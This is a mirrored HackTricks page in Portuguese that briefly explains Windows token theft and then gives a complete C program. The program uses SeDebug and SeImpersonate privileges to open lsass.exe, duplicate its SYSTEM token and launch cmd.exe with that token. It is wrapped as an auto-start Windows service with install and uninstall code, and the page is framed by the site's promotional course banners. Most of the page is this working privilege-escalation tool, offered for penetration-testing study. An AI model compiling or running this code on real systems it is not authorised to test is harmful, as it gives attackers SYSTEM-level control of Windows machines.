mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
240 lines
8.2 KiB
Markdown
240 lines
8.2 KiB
Markdown
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
O seguinte código **explora os privilégios SeDebug e SeImpersonate** para copiar o token de um **processo em execução como SYSTEM** e com **todos os privilégios do token**. \
|
|
Neste caso, este código pode ser compilado e usado como um **binário de serviço do Windows** para verificar se está funcionando.\
|
|
No entanto, a parte principal do **código onde ocorre a elevação** está dentro da **função** **`Exploit`**.\
|
|
Dentro dessa função, você pode ver que o **processo **_**lsass.exe**_** é pesquisado**, então seu **token é copiado**, e finalmente esse token é usado para criar um novo _**cmd.exe**_ com todos os privilégios do token copiado.
|
|
|
|
**Outros processos** em execução como SYSTEM com todos ou a maioria dos privilégios do token são: **services.exe**, **svhost.exe** (um dos primeiros), **wininit.exe**, **csrss.exe**... (_lembre-se de que você não poderá copiar um token de um processo protegido_). Além disso, você pode usar a ferramenta [Process Hacker](https://processhacker.sourceforge.io/downloads.php) executando como administrador para ver os tokens de um processo.
|
|
```c
|
|
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
|
|
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <tchar.h>
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
TCHAR* serviceName = TEXT("TokenDanceSrv");
|
|
SERVICE_STATUS serviceStatus;
|
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
|
HANDLE stopServiceEvent = 0;
|
|
|
|
//This function will find the pid of a process by name
|
|
int FindTarget(const char *procname) {
|
|
|
|
HANDLE hProcSnap;
|
|
PROCESSENTRY32 pe32;
|
|
int pid = 0;
|
|
|
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
if (!Process32First(hProcSnap, &pe32)) {
|
|
CloseHandle(hProcSnap);
|
|
return 0;
|
|
}
|
|
|
|
while (Process32Next(hProcSnap, &pe32)) {
|
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
return pid;
|
|
}
|
|
|
|
|
|
int Exploit(void) {
|
|
|
|
HANDLE hSystemToken, hSystemProcess;
|
|
HANDLE dupSystemToken = NULL;
|
|
HANDLE hProcess, hThread;
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
// open high privileged process
|
|
if ( pid = FindTarget("lsass.exe") )
|
|
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
else
|
|
return -1;
|
|
|
|
// extract high privileged token
|
|
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
|
|
CloseHandle(hSystemProcess);
|
|
return -1;
|
|
}
|
|
|
|
// make a copy of a token
|
|
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
|
|
|
|
// and spawn a new process with higher privs
|
|
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
|
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
|
switch ( controlCode ) {
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
case SERVICE_CONTROL_STOP:
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
SetEvent( stopServiceEvent );
|
|
return;
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
|
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
|
// initialise service status
|
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
serviceStatus.dwControlsAccepted = 0;
|
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
|
serviceStatus.dwCheckPoint = 0;
|
|
serviceStatus.dwWaitHint = 0;
|
|
|
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
|
|
|
if ( serviceStatusHandle ) {
|
|
// service is starting
|
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do initialisation here
|
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
|
|
|
// running
|
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
Exploit();
|
|
WaitForSingleObject( stopServiceEvent, -1 );
|
|
|
|
// service was stopped
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do cleanup here
|
|
CloseHandle( stopServiceEvent );
|
|
stopServiceEvent = 0;
|
|
|
|
// service is now stopped
|
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
}
|
|
|
|
|
|
void InstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
|
|
|
if ( serviceControlManager ) {
|
|
TCHAR path[ _MAX_PATH + 1 ];
|
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
|
SC_HANDLE service = CreateService( serviceControlManager,
|
|
serviceName, serviceName,
|
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
|
0, 0, 0, 0, 0 );
|
|
if ( service )
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
void UninstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
|
|
|
if ( serviceControlManager ) {
|
|
SC_HANDLE service = OpenService( serviceControlManager,
|
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
|
if ( service ) {
|
|
SERVICE_STATUS serviceStatus;
|
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
|
DeleteService( service );
|
|
}
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
int _tmain( int argc, TCHAR* argv[] )
|
|
{
|
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
|
InstallService();
|
|
}
|
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
|
UninstallService();
|
|
}
|
|
else {
|
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
|
{ serviceName, ServiceMain },
|
|
{ 0, 0 }
|
|
};
|
|
|
|
StartServiceCtrlDispatcher( serviceTable );
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporte o HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|